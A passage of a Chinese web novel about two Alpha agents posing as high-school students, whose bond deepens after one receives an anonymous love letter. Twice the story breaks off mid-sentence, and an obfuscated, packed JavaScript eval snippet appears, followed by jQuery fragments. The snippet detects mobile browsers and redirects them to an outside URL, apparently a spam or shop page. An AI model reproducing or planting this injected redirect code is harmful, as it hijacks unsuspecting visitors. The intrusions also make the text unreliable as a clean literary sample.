“因为他跑不掉。”他说,“XK-9有成瘾性,停药就会失控。他需要药物维持正常,而药物只有姜雅和谭照能提供。他被困住了。”
谢燃的尾巴垂了下来。
“那就帮他跑。”他说。
纪砚看了他一眼,没有回答,但也没有否定。
下午最后一节课是自习。谢燃写完了数学作业——这次多写了两道大题,虽然有一道做错了,但至少他写了。纪砚检查了他的作业,用铅笔在错题旁边写了正确的步骤。
“第三题,公式用对了,计算错了。”纪砚说。
“计算不是问题,思路对了就行。”
“计算错了答案就是错的。”
“考试有过程分。”
“过程分不够你及格。”
谢燃张了张嘴,发现自己无法反驳。他低下头,把错题改了,重新算了一遍,这次算对了。
纪砚看了一眼,点了点头。
放学铃响的时候,谢燃伸了个大大的懒腰,尾巴在身后甩了两下。陆大寻从后面探过头来:“谢哥纪哥,明天见!”
“明天见。”谢燃说。
“路上小心。”纪砚说。
陆大寻点了点头,跑向公交站台。跑了几步又停下来,回头喊了一句:“谢哥,你今天没抽烟吧?”
“没有!”谢燃喊回去,“你快滚!”
陆大寻嘿嘿一笑,转身跑了。
谢燃和纪砚走出校门,拐进和风中街。夕阳把整条街染成了橘红色,榕树的影子投在地上,像一大片静止的乌云。远处的海面上,太阳正在缓缓落下,把海水染成金红色。
骨传导通讯器里传来程宇的声音:“谢哥,纪哥,冥安出校门了,往西走了。需要跟吗?”
谢燃看了纪砚一眼。纪砚微微摇头。
“不跟。”谢燃低声说,“今天太明显了,休息一天。”
“收到。”程宇说,“那我继续在暗处观察。对了,谢哥,你今天引体向上做了十五个,我看到了。厉害。”
“……你在哪看到的?”
“操场旁边的榕树上。我在上面蹲了一节课。”
谢燃想象了一下程宇蹲在榕树上的样子——猫头鹰Alpha,蹲在树上,跟他的动物属性完美契合。他摇了摇头,把那个画面从脑子里赶出去。
两人走回公寓楼下的时候,天还没黑。路灯还没亮,夕阳的余晖把整栋楼照得暖黄黄的。谢燃正要推门进去,忽然停下脚步,抬头看了一眼五楼的窗户。
窗帘拉着,灯没开。家里没有人,但很快就会有。韩征远今晚不回来,只有他们两个。
“谢燃。”纪砚在身后叫他。
“来了。”
他推开门,走了进去。
楼梯间的声控灯亮了,他们的脚步声在楼道里回响。谢燃走在前面,纪砚跟在后面。两人的影子投在墙上,一高一矮,一前一后。
像每一天一样。
但今天,谢燃的校服口袋里多了一张61分的英语卷子。这是他来和风四中之后第一次及格。
他想,这就是进步。
虽然纪砚可能不这么认为。
25. 情书
周二早晨,谢燃在课桌里发现了一个粉红色的信封。
他一开始没注意,手伸进去摸课本的时候,指尖触到一个光滑的纸质表面,手感不对——不是作业本,不是试卷,不是纪砚给他整理的笔记。他抽出来一看,粉红色,心形封口贴,上面用圆润的字迹写着“谢燃收”。
他愣了一下。
活了二十三年,出过无数次任务,卧底过各种场合,被人拿枪指过头,被信息素压制过,被教官骂过,被韩队递过烟——但从来没有人给他写过情书。
在曙光学院的时候,大家每天都在训练、任务、睡觉三件事之间循环,没有时间谈恋爱,也没有人有那个心思。后来进了ASI,更忙了,身边除了纪砚就是韩队,偶尔见年绪和程宇,全是同事。情书这种东西,对他来说就像外星文物——听说过,没见过。
“这是什么?”纪砚的声音从旁边传来,不大,但很近。
谢燃还没来得及藏,纪砚已经看到了。粉红色,心形封口贴,上面“谢燃”两个字写得漂漂亮亮的,任何一个视力正常的人都能看出来这是一封情书。
纪砚的目光在那封信上停了零点几秒,然后移开了。他翻开课本,拿起笔,开始预习第一节课的内容。动作和平时一模一样,没有任何异常。
但谢燃注意到他翻开的课本不是今天要上的课。
“纪砚。”
“嗯。”
“你拿的是英语书,第一节课是数学。”
纪砚低头看了一眼手里的书,沉默了一秒,然后把英语书合上,换成了数学课本。动作依旧平静,但谢燃注意到他换书的时候,手指在书脊上多停留了一瞬。
谢燃看着那封情书,又看了看纪砚的侧脸。纪砚的侧脸没有任何表情,但谢燃认识他十几年,知道没有表情本身就是一种表情——他在压着什么。
“你不想看看是谁写的?”谢燃把那封信在手里转了一圈。
“不感兴趣。”
“万一是我认识的人呢?”
“那也不感兴趣。”
谢燃挑了挑眉,把信拆开了。他本来没打算拆——按照任务纪律,在学校里收到的任何不明物品都应该先检查安全性。但这封信的封口贴是心形的,纸质是那种带细闪的,一看就是普通学生用的信纸,不像是有毒或者有追踪装置的样子。
他展开信纸,里面只有一页,字迹工整,带着一点点圆润的弧度:
“谢燃同学:你好。我不知道该怎么开头,想了很久,最后还是决定写下来。从你转来的第一天起,我就注意到你了。你笑起来很好看,你的尾巴很漂亮,你上课虽然经常走神但每次被老师点名都能把大家逗笑。我不知道你有没有喜欢的人,如果没有,能不能给我一个机会?如果有,那就当我没写过这封信。祝你每天开心。——一个默默关注你的同学。”
没有署名。
谢燃看完,把信纸折好放回信封里。他的表情没什么变化,但尾巴在桌子底下不自觉地晃了一下——不是紧张,是有点不好意思。被人喜欢的感觉,对他来说很陌生。
“看完了?”纪砚的声音传来。
“嗯。”
“谁写的?”
“没署名。”
纪砚的笔尖在纸上顿了一下,然后继续写。
谢燃把信封塞进书包里,不是因为他想留着,是因为他不想当着纪砚的面扔——扔了显得太刻意,不扔也显得太刻意。他决定先放着,等纪砚不在的时候再处理。
第一节课是数学。王老师在黑板上写满了公式,粉笔灰簌簌地掉。谢燃撑着下巴,目光在黑板和纪砚之间来回移动。纪砚在记笔记,字迹比平时更工整了——不是那种放松的工整,是那种“我在用写字来集中注意力”的工整。
谢燃用尾巴戳了戳纪砚的小腿。
纪砚没反应。
谢燃又戳了一下。
纪砚往旁边挪了半寸。
谢燃的尾巴跟过去,又戳了一下。
纪砚放下笔,转过头,看着谢燃。那双黑眼睛里没什么情绪,但谢燃看到了——那种被压在平静水面下的、不易察觉的波动。
“干什么?”纪砚的声音很低,只有两个人能听到。
“你今天早上没跟我说早安。”
“说了。”
“没说。你说的是‘起床’。”
“那就是早安。”
“不是,早安是早安,起床是起床。”
纪砚看了他两秒,转回头,重新拿起笔。谢燃以为他不理自己了,正准备放弃,忽然听到一个很低的声音从旁边传来:“早安。”
谢燃的嘴角翘了起来。
“早安,纪砚~”他说着。
纪砚没回答,但谢燃注意到他笔尖在纸上写的那个字,比旁边的字都大了一圈。
第二节课是英语。谢燃把上周那张61分的卷子拿出来,放在桌角,等着老师讲评。他的目光时不时飘向教室门口,不是因为有人在看他,而是因为他总觉得今天教室里有人在看他——不是那种危险的目光,是那种好奇的、试探的、带着一点羞涩的目光。
他扫了一圈,没有锁定目标。教室里四十几个人,一半以上都在看黑板,剩下的一半在看老师或者在走神。他找不到那个目光的来源。
纪砚在旁边做题,头都没抬,但忽然说了一句:“右边,第三排,靠窗。”
谢燃没有转头去看,但他的余光扫到了那个位置。一个女生,扎着马尾辫,低着头在看课本,耳朵尖是红的。
“你观察力真强。”谢燃用气声说。
“不是我观察力强,是她看了你八次了。”纪砚的语气没有任何波澜,像是在念一个数据,“第一节课下课后两次,第二节课上课前三次,刚才老师点名的时候三次。”
“你数了?”
“没数。注意到了。”
谢燃沉默了一秒,然后说:“纪砚,你是不是不高兴?”
“没有。”
“你每次说‘没有’的时候,都是‘有’的意思。”
“那是你的错觉。”
谢燃没有再追问,但他的尾巴在桌子底下轻轻地、一下一下地扫着纪砚的裤腿。纪砚没有躲开。
中午吃饭的时候,陆大寻又占好了座。他今天打了一份番茄炒蛋、一份红烧肉、一份青菜,米饭上浇了卤汁,看起来食欲很好。但谢燃坐下之后,陆大寻第一句话不是“快吃快吃”,而是:“谢哥,你是不是收到情书了?”
谢燃的筷子停在半空中:“你怎么知道?”
“班里都传遍了。”陆大寻眨眨眼,“有人看到你课桌里有个粉红色信封,然后大家就开始猜是谁写的。现在有好几个版本——有人说是隔壁班的,有人说是我们班的,还有人说是高二的学姐。”
谢燃转头看纪砚。纪砚正在喝汤,表情淡得像什么都没听到。
“你告诉别人的?”谢燃问。
“我没说。”纪砚放下汤碗,“可能是她自己放进去的时候被别人看到了。”
陆大寻夹了一块红烧肉塞进嘴里,含混地说:“谢哥,你就不好奇是谁写的吗?”
“好奇,但她没署名。”
“那你打算怎么办?”
“不怎么办。”谢燃夹了一筷子青菜,“当没收到。”
陆大寻的嘴巴张了张,又闭上了。他的目光在谢燃和纪砚之间转了两圈,然后低下头,专心吃饭。但他的尾巴在椅子下面慢慢地、若有所思地晃着,像是在想什么事情。
下午第一节课是体育课,自由活动。
谢燃被拉去踢足球,这次他没当守门员,而是踢前锋。他在球场上跑起来的时候,尾巴在身后飘着,像一面红色的旗帜,全场最显眼。他进了两个球,引来一阵欢呼,但他注意到场边有个女生一直在看他——不是那种偷偷看,是明目张胆地看,手里还拿着手机,不知道是在拍照还是在录像。
他进球之后,那个女生鼓了鼓掌,脸上带着一种他读得懂但不想读懂的表情。
谢燃没有回应,转身跑回了球场中央。
体育课结束的时候,谢燃去洗手台洗脸。水龙头的水很凉,浇在脸上很舒服。他洗完脸,抬起头,从镜子里看到纪砚站在他身后,手里拿着两瓶水。
“给你。”纪砚把其中一瓶递过来。
谢燃接过去,拧开盖子喝了一大口。水从嘴角溢出来,顺着下巴滴在校服上,他用袖子擦了擦。
“纪砚。”
“嗯。”
“你今天下午没怎么说话。”
“在听课。”
“体育课你也听课?”
“我在听体育老师讲运动损伤预防。”
谢燃看着镜子里的纪砚,纪砚也看着镜子里的谢燃。两人的目光在镜面上交汇了一瞬,然后纪砚移开了视线。
“走吧,下节课要开始了。”纪砚转身走了。
谢燃站在原地,看着他的背影,总觉得今天的纪砚哪里不太一样。他说不上来是哪里,但他的直觉告诉他,纪砚在生气——不是那种会发火的生气,是那种把情绪压得很深、很深,深到几乎看不见的生气。
而那个生气的源头,大概就是那封没有署名的粉红色情书。
下午最后一节课是自习。
谢燃写完了作业,难得地提前完成了。他把作业本推到纪砚面前让他检查,纪砚看了一遍,用铅笔在最后一题旁边画了一个小圈——意思是“这题有问题”,但没有写正确的步骤。
“这题怎么了?”谢燃问。
“你自己看看。”
谢燃看了一遍,没看出问题。他又看了一遍,还是没看出来。他抬起头,看着纪砚,纪砚没有看他,在写自己的东西。
“纪砚。”
“嗯。”
“你告诉我哪里错了。”
“你自己想。”
“我想不出来。”
“那就再想。”
谢燃盯着那道题看了三分钟,终于发现——公式用对了,数字代对了,最后一步加法算错了,6+7等于13,他写成了14。他改过来,把作业本又推过去。
纪砚看了一眼,在圈旁边打了一个小勾。
谢燃把作业本收进书包,趴在桌上,侧头看着纪砚。纪砚在整理笔记,字迹工整,行间距一致,连标点符号都写得规规矩矩。
“纪砚。”
“嗯。”
“你是不是在生气?”
“没有。”
“那你为什么今天一整天都不看我?”
纪砚的笔停了一下。
“我在看你。”他说。
“你没看我。你看黑板,看课本,看笔记,看窗外,就是不看我。”
纪砚沉默了几秒,把笔放下,转过身,正对着谢燃。他的表情依旧平静,但那双黑眼睛里有光——不是温柔的光,是那种被压了很久、终于找到一个出口的光。
“谢燃。”他说,声音很低,低到只有两个人能听到,“你想让我说什么?说我不高兴?说我看到那封情书的时候心里不舒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536137|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
服?说我不想让别人那样看你?”
谢燃愣住了。
纪砚从来没有这样说过话。他是那种把所有情绪都锁在保险柜里然后把钥匙吞掉的人。他说“早安”都要酝酿半天,说“路上小心”已经是他的极限。而现在,他说了这么长一段话,每一个字都像是从很深的地方挖出来的。
教室里很安静,周围的同学都在写作业或者发呆,没有人注意到靠窗倒数第二排的这两个转校生正在对视。
“纪砚。”谢燃开口,声音很轻。
纪砚看着他。
“那封情书,”谢燃说,“我放书包里了,不是想留着,是因为你在我旁边,我不想当着你的面扔。”
纪砚的睫毛微微动了一下。
“后来我忘了。”谢燃继续说,“但你刚才说那些话的时候,我想起来了。我现在去扔。”
他伸手去拿书包,纪砚按住了他的手腕。
“不用扔。”纪砚说。
“为什么?”
“留着也没关系。”
“你不是不高兴吗?”
纪砚松开他的手腕,转回去,重新拿起笔。他翻开笔记本,写了几行字,然后把那一页撕下来,折成一个很小的方块,推到谢燃面前。
谢燃打开那个方块。
上面写着:“我没收过你的情书。第一封,应该是我的。”
谢燃盯着那行字看了五秒钟。
字是纪砚的,工整、克制、每一个笔画都端端正正。但内容不是纪砚的风格——不是他不会写这种话,而是他不会用这种方式说。除非他真的、真的很在意。
谢燃把那张纸折好,放进了校服内侧口袋,和那封粉红色情书同一个口袋,但不同的位置。
“纪砚。”
“嗯。”
“你的字真好看。”
纪砚没有回答,但谢燃看到他的耳朵尖红了。
放学铃响的时候,谢燃收拾好书包,站起来。纪砚也站起来,两人一前一后走出教室。走廊里人很多,陆大寻从后面追上来,书包在身后甩来甩去。
“谢哥纪哥,明天见!”
“明天见。”谢燃说。
“路上小心。”纪砚说。
陆大寻跑了几步,忽然停下来,回头看了一眼谢燃,又看了一眼纪砚,然后咧嘴笑了,露出两颗小虎牙。
“纪哥,”他说,“你今天耳朵怎么红了?”
纪砚的表情没有任何变化:“光线问题。”
“哦——”陆大寻拖着长音,笑得意味深长,然后转身跑了,尾巴在夕阳中甩得像一面白色的旗。
谢燃和纪砚走出校门,拐进和风中街。夕阳把整条街染成了橘红色,榕树的影子投在地上,像一大片静止的乌云。海风吹过来,带着咸味和深秋的凉意。
谢燃把手伸进口袋,摸到了那张折好的纸。他没有拿出来,只是用手指摩挲着纸的边缘,感受着那种粗糙的、真实的触感。
“纪砚。”
“嗯。”
“你以后不高兴的时候,可以直接告诉我。”
纪砚沉默了几步。
“好。”他说。
谢燃笑了,笑得眼睛弯弯的,尾巴在身后慢悠悠地晃着。他加快了脚步,走到纪砚旁边,肩膀几乎要蹭到对方。这次,纪砚没有侧身让开。
骨传导通讯器里传来程宇的声音,带着一丝小心翼翼:“谢哥,纪哥,我不知道你们刚才在教室里说了什么,但我这边的音频捕捉到了一些……呃……内容。我什么都没听到。真的。”
“程宇。”纪砚的声音不大,但很清晰。
“在!”
“关掉音频捕捉。”
“关了关了,早就关了。”程宇的声音里带着一丝心虚,“我从大课间就关了,真的。我什么都没听到。我发誓。”
谢燃忍住笑,低声说:“程宇,你发过多少次誓了?”
“很多次。但这次是真的。”
“你上次也说是真的。”
“上次是意外。”
纪砚没有接话,但他的嘴角有一个很小的弧度——那个弧度比平时大了很多。
两人走回公寓楼下的时候,天还没黑。夕阳的余晖把整栋楼照得暖黄黄的。谢燃正要推门进去,忽然停下脚步。
“纪砚。”
“嗯。”
“那封情书,我还是想扔。”
“为什么?”
“因为放在口袋里,跟你的纸条打架。”
纪砚看了他一眼,那眼神里有光——不是被压着的光,是那种从深处浮上来的、暖暖的光。
“那就扔。”他说。
谢燃从口袋里掏出那封粉红色的信封,走到垃圾桶旁边,扔了进去。信封落在垃圾袋上,发出一声轻微的“啪”。
他拍了拍手,转身走回来。
“行了。”他说。
“嗯。”
两人推开门,走进单元楼。楼梯间的声控灯亮了,他们的脚步声在楼道里回响。谢燃走在前面,纪砚跟在后面。两人的影子投在墙上,交叠在一起,像一棵榕树的气根,一根缠着一根,分不清哪根是谁的。
谢燃把手伸进口袋,摸了摸那张折好的纸。
纸还在。
那上面有纪砚的字迹,工整、克制、端端正正。
“我没收过你的情书。第一封,应该是我的。”
他想,这大概是他收到过的最好的情书。
虽然纪砚大概永远不会承认自己写过。
26. 上下铺
那天晚上,谢燃失眠了。不是因为任务,不是因为冥安,不是因为XK-9,不是因为织网者。是因为一行字。一行写在笔记本纸上、折成小方块、被他塞进校服内侧口袋的字。
“我没收过你的情书。第一封,应该是我的。”
他躺在上铺,盯着头顶的天花板。这间公寓只有一间卧室,上下铺是他和纪砚在曙光学院就睡惯了的——他在上铺,纪砚在下铺。十几年了,换过无数次住处,但这个配置从来没变过。月光从窗帘缝隙漏进来,在天花板上画了一条银白色的线。下铺很安静,纪砚早就睡了——或者没睡,但纪砚睡觉从来不发出声音,像死了一样安静。谢燃曾经半夜把手从上铺垂下去探他的鼻息,被纪砚一把抓住手腕,低声说“我没死,睡觉”,然后松开手,翻了个身。
谢燃翻了个身,脸朝下,枕头的缝隙里能看到下铺纪砚被子隆起的轮廓。
他在想一个很蠢的问题。
纪砚喜不喜欢他?
不,不对。纪砚当然喜欢他。十几年的交情,一起从熔炉的废弃飞船里活下来,一起在曙光学院长大,一起出任务,一起住上下铺,一起吃早饭,一起在阳台上吹风。纪砚给他煎鸡蛋,给他整理笔记,给他挑鱼刺,给他叠被子——虽然叠的是下铺的,但每次路过他垂下来的被角都会伸手掖一下。这种喜欢是毋庸置疑的。
但问题是——那种喜欢。那种会让人写出“第一封应该是我的”的喜欢。
谢燃把脸埋进枕头里,闷闷地呼出一口气。他的尾巴从被子边缘垂下去,毛茸茸的,在半空中晃了晃。下铺的纪砚翻了个身,尾巴晃了一下——大概是感觉到了什么,但没醒。
两个Alpha。
他在心里默念这个词。在ASI,Alpha和Alpha在一起不是没有先例。特工群体本来就和普通人不一样,每天面对的东西让性别的界限变得模糊。但在这个世界的大多数地方,Alpha和Alpha的组合依然是不被看好的——信息素冲突、社会压力、生理上的不兼容。纪砚是狼Alpha,他是火狐Alpha,两个人的信息素一个是竹叶清露,一个是烈焰威士忌,光是闻起来就不像是能和平共处的味道。
但他们的信息素从来没有冲突过。
谢燃想到这一点,愣了一下。他和纪砚在一起的时候,信息素从来没有互相排斥过。他闻纪砚的味道只觉得舒服,清清凉凉的,像夏天傍晚的风。纪砚闻他的味道——他从来没问过,但纪砚从来没有躲开过,从来没有皱过眉头,从来没有像其他Alpha闻到强势信息素时那样本能地释放压制。他甚至觉得纪砚喜欢闻他的味道,因为纪砚每次靠近他的时候,鼻翼会微微动一下,很细微,不仔细看根本看不到。谢燃以前以为那是纪砚在确认周围环境的安全,但现在他忽然不确定了。
“妈的。”他小声骂了一句,把被子拉过头顶,整个人缩成一团。
越想越乱。
他决定换一个思路。纪砚是Alpha。他是Alpha。两个Alpha。如果——只是如果——纪砚真的对他有那种意思,纪砚会怎么做?以纪砚的性格,他不会说。纪砚是那种把所有情绪都锁在保险柜里然后把钥匙吞掉的人。他今天能把那行字写出来,已经是保险柜炸了的程度。但如果纪砚不说,他也不知道。如果他也不知道,那他们就只能这样——每天一起起床,一起吃早饭,一起上学,一起写作业,一起出任务,一起回家,一起看电视,然后他爬上铺,纪砚睡下铺。和现在一模一样。
和现在一模一样。
谢燃忽然觉得,这样好像也没什么不好。
他不需要纪砚说那句话。他不需要纪砚亲口承认什么。因为纪砚的每一个动作都在说那句话——煎鸡蛋的时候,挑鱼刺的时候,整理笔记的时候,站在校门口说“路上小心”的时候,从超市买热豆浆回来递给他的时候,把他从被窝里薅出来的时候,半夜抓住他垂下来的手腕说“我没死”的时候。纪砚的“喜欢”从来不用嘴说,是用做的。
谢燃把被子从头上拉下来,长长地呼出一口气。他的尾巴不扫了,安静地搭在床沿上,尾尖微微卷起。
“口嗨。”他对着天花板说,声音很轻,像是自言自语,“就是口嗨。纪砚平时不怎么说话,偶尔说一句骚话,很正常。我也经常说骚话。我说‘纪砚你今天的校服真好看’‘纪砚你的侧脸真帅’‘纪砚你要是女的我就娶你’——这些都是口嗨。他今天说的那句话,也是口嗨。”
他顿了顿。
“就是口嗨。”
他说服了自己。翻了个身,把被子裹好,闭上眼睛。
下铺,纪砚没有睡。
他侧躺着,面朝墙,眼睛睁着,看着墙面上月光投下的影子。上铺传来谢燃翻身的声音,被子窸窸窣窣的,尾巴从床沿垂下来,在他眼前晃了一下,又缩回去了。
纪砚盯着那个位置看了几秒。
他今天说了那句话。“我没收过你的情书。第一封,应该是我的。”他把那句话写在纸上,折好,推给谢燃。他看着谢燃打开那张纸,看着谢燃的眼睛从疑惑变成惊讶,看着谢燃把那行字看了两遍,然后把纸折好放进口袋。他没有后悔说那句话。但他不知道谢燃是怎么理解的——是当成朋友之间的玩笑?是当成纪砚一时冲动的胡话?还是当成真的。
纪砚闭上眼睛,又睁开。上铺安静了,谢燃应该是睡着了。他的呼吸声从上面传下来,很轻,很均匀,像一只蜷缩在树洞里的狐狸。纪砚听着那个声音,慢慢地、一点一点地放松了肩膀。
他想起谢燃今天在教室里说的那句话:“你以后不高兴的时候,可以直接告诉我。”他当时说“好”。他是认真的。但他不确定自己能不能做到,因为“不高兴”三个字太轻了,轻到装不下他想说的那些话。他想说的那些话太重了,重到他自己都不敢拿出来看。
谢燃是Alpha。他也是Alpha。两个Alpha。
纪砚翻了个身,仰面躺着,看着上铺的床板。床板很旧了,有几道裂缝,月光从窗帘缝隙漏进来,在床板上画出一道细长的光。他想起谢燃的尾巴——毛茸茸的,红色的,每次开心的时候会在身后慢悠悠地晃,每次紧张的时候会绷直,每次生气的时候会炸开。刚才那条尾巴从床沿垂下来,在他眼前晃了一下,尾尖微微卷着,像在跟他说晚安。
他想起谢燃笑起来的样子,眼睛弯弯的,嘴角往上翘,露出一点牙齿,像一只偷到鱼的狐狸。他想起谢燃叫他名字的声音——“纪砚”——两个音节,前一个轻,后一个重,尾音微微上扬,像在问一个问题,又像在回答一个问题。
他想起今天下午,他把那张纸条推过去的时候,谢燃看了五秒钟。五秒钟。很长。足够让纪砚的心跳从正常变成不正常。
他翻了个身,把被子拉到肩膀。竹叶清露的信息素在房间里弥漫着,淡淡的,清清凉凉的,和他的体温混在一起。他想,如果谢燃从上铺下来,坐到他床边,房间里会多一种味道——烈焰威士忌,浓烈的、张扬的、像一团火的味道。两种味道混在一起会变成什么?他不知道。但他想知道。
“睡觉。”他对自己说,声音低得几乎听不到。
然后他闭上眼睛。
过了很久,终于睡着了。
周三早晨,谢燃是被煎鸡蛋的味道叫醒的。不是闹钟,不是纪砚的声音,是那种金黄色的、边缘微焦的、让人胃里咕噜叫的香味。他从上铺探出头,头发乱得像鸡窝,眼睛还没完全睁开,但鼻子已经精准地锁定了香味的来源。
下铺的被子叠好了,整整齐齐的,枕头放在被子上,床单没有一丝褶皱。
谢燃从上铺爬下来,光着脚踩在地板上,凉意从脚底板窜上来。他走到厨房门口,靠在门框上,看着纪砚的背影。纪砚穿着校服,围裙系在腰上,正在用锅铲小心地翻一个鸡蛋。灶台上已经摆好了一个盘子,盘子里有一个煎鸡蛋,蛋黄完整,边缘金黄。
“早。”谢燃说。
“早。”纪砚头都没回。
“你几点起的?”
“六点半。”
“又是六点半?”
“规律作息很重要。”
谢燃靠在门框上,看着纪砚把第二个鸡蛋盛出来,放在另一个盘子里。两个鸡蛋一模一样,大小均匀,火候一致,像是同一个模子印出来的。纪砚关了火,解下围裙搭在椅背上,端着两个盘子转过身。
目光对上了。
谢燃的尾巴在身后晃了一下——不是故意的,是条件反射。他看着纪砚的眼睛,纪砚也看着他。两个人的距离不到两米,中间隔着早晨的阳光和煎鸡蛋的热气。
“看什么?”纪砚问。
“看你。”谢燃说,语气轻松得像在说今天天气不错,“你今天头发翘了一撮。”
纪砚下意识地伸手摸了摸头顶,什么也没摸到。
“骗你的。”谢燃咧嘴笑了,从他手里接过盘子,走到餐桌前坐下。
纪砚站在原地,看着他的背影,嘴角微微动了一下。他跟过去,坐到谢燃对面,拿起筷子。
两人吃早饭的时候没怎么说话。谢燃一边吃一边看手机,陆大寻发了条消息,说今天早上起晚了,可能来不及在校门口等他们。谢燃回了句“没事,别跑,注意安全”。纪砚在喝粥,目光落在桌面上,偶尔抬起来看一眼谢燃,又收回去。
吃完饭,谢燃去刷牙。他站在洗手台前,嘴里含着牙刷,泡沫从嘴角溢出来。纪砚走进来,站在他旁边,拿起自己的牙刷。两个人并排站着刷牙,镜子里的画面很整齐——一个三七分,一个七三分;一个尾巴毛茸茸的,一个尾巴垂在身后;一个刷得飞快,一个刷得不紧不慢。
谢燃吐掉泡沫,漱了口,用毛巾擦了脸。他对着镜子拨了拨头发,把翘起来的几撮压下去,没压住,放弃了。
“纪砚。”
“嗯。”
“你昨晚睡得好吗?”
“还行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536138|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“我昨晚没睡好。”
纪砚正在漱口,动作顿了一下。他把水吐掉,擦了擦嘴,看着镜子里的谢燃:“为什么?”
谢燃靠在洗手台边上,双手插在口袋里,尾巴在身后慢悠悠地晃着。他看着镜子里的纪砚,笑了笑:“做了个梦,梦到你在煎鸡蛋,煎糊了,整个厨房都冒烟了。”
纪砚沉默了一秒:“那不是梦,那是上周的事。”
“所以我说没睡好嘛,上周的事都能梦到。”
纪砚看了他一眼,那眼神的意思是“你在胡扯”。但他没有拆穿,把牙刷放好,走出了洗手间。
谢燃站在洗手台前,看着镜子里的自己。他的笑容还在,但眼睛里的光比刚才暗了一点。他低下头,打开水龙头,用冷水洗了把脸。
他想,就这样吧。不想了。纪砚说的那句话,就是口嗨。他也经常口嗨,没什么大不了的。两个Alpha,睡上下铺,一起出任务,一起吃饭,一起上下学——这就是他们的关系。不需要多想,不需要纠结,不需要在半夜翻来覆去地想“他到底是什么意思”。因为不管他是什么意思,他们的生活都不会变。明天早上纪砚还是会煎鸡蛋,还是会说“起床”,还是会站在校门口说“路上小心”。这就够了。
他把脸擦干,走出洗手间,换好校服,背上书包。
“走了。”纪砚站在玄关,手里拿着两人的豆浆。
“来了。”
谢燃换好鞋,跟在纪砚后面出了门。楼梯间的声控灯亮了,他们的脚步声在楼道里回响。谢燃走在后面,看着纪砚的背影——校服笔挺,书包带子调得一样长,后脑勺的头发剪得很整齐,露出一截干净的脖颈。
他的尾巴晃了一下。
他移开了目光。
走到楼下的时候,阳光已经铺满了整个小区。榕树的影子投在地上,像一大片静止的网。谢燃深吸了一口气,把昨晚那些乱七八糟的念头全都压到了心底。
“谢燃。”纪砚在前面叫他。
“来了来了。”他小跑两步跟上去,走到纪砚旁边,肩膀几乎要蹭到对方。这次,纪砚没有侧身让开。
两人并肩走在和风中街上,影子被朝阳拉得很长,交叠在一起,分不清哪条是谁的。远处的海面上,太阳正在升起,把海水染成金红色。珠海市的早晨,和每一个普通的早晨一样,喧闹、嘈杂、充满了生活的烟火气。
骨传导通讯器里传来程宇的声音,带着一丝刚睡醒的沙哑:“谢哥,纪哥,早。冥安今天出门比平时早了十分钟,往学校方向去了。我在他后面,隔着一条街。”
“收到。”谢燃低声说。
“对了,”程宇的声音清醒了一些,“你们昨天晚上在房间里聊什么了?我的音频捕捉到了一些——”
“程宇。”纪砚的声音不大,但很清晰。
“在!”
“关掉音频捕捉。”
“关了关了,一早就关了。我什么都没听到。真的。”
谢燃忍住笑,摇了摇头。
他们走到校门口的时候,陆大寻正从公交站台跑过来,书包在身后甩来甩去,尾巴像一面白色的旗。他看到谢燃和纪砚,眼睛亮了,挥着胳膊跑过来。
“谢哥!纪哥!我没迟到吧?”
“没有。”谢燃说。
“那就好那就好。”陆大寻喘了两口气,然后凑近谢燃,压低声音,“谢哥,你今天看起来不太一样。”
“哪里不一样?”
“说不上来,就是——”陆大寻歪着头看了看他,“你的尾巴比平时安静。”
谢燃低头看了一眼自己的尾巴。确实,垂在身后,没有晃,尾尖微微卷着,像在思考什么问题。
“没睡好。”谢燃说。
“哦。”陆大寻点了点头,没有追问。
三个人走进教学楼。走廊里已经有很多人了,到处是笑声、喊声和书本掉在地上的声音。谢燃从人群中穿过,尾巴高高翘起,以免被人踩到。他走到高二(6)班教室门口的时候,习惯性地看了一眼走廊尽头。
冥安不在。
他收回目光,走进教室,坐到自己的座位上。纪砚跟在他后面,放下书包,拿出课本。
谢燃把手伸进校服内侧口袋,摸到了那张折好的纸。纸还在,边角有点皱了,但字迹清晰,工工整整的。
“我没收过你的情书。第一封,应该是我的。”
他把手从口袋里抽出来,没有再看那张纸。他把课本翻开,拿起笔,准备上课。
旁边的纪砚在整理笔记,笔尖沙沙地响。谢燃用余光看了他一眼,发现他的耳朵尖有一点点红——很淡,不仔细看根本看不出来。
谢燃的尾巴在桌子底下晃了一下。
他低下头,假装在看课本,但嘴角的弧度怎么都压不下去。
口嗨。
就是口嗨。
他对自己说。
但他的尾巴不信。
27. 补课味的酸梅汤
周四下午最后一节课是自习。教室里乱哄哄的,王老师不在,纪律委员在前面喊了三次“安静”,效果持续了大约三十秒,然后又恢复成了菜市场。谢燃趴在桌上,把脸埋在胳膊里,尾巴从桌沿垂下去,在过道里晃来晃去。一个路过的同学差点踩到,他嗖地把尾巴收回来,夹到两腿之间,继续趴着。
“谢燃。”纪砚的声音从旁边传来。
“嗯。”
“数学作业做完了吗?”
“没有。”
“拿出来。”
谢燃把脸从胳膊里抬起来,转头看着纪砚。纪砚的表情很平静,但那眼神里有一种“你逃不掉的”的笃定。谢燃叹了口气,从书包里掏出数学练习册,翻到今天布置的那一页。上面只写了三道题,第一道写了一半,第二道写了个“解”,第三道空白。
“你自习课干什么了?”纪砚看着那页练习册,眉头微微皱了一下。
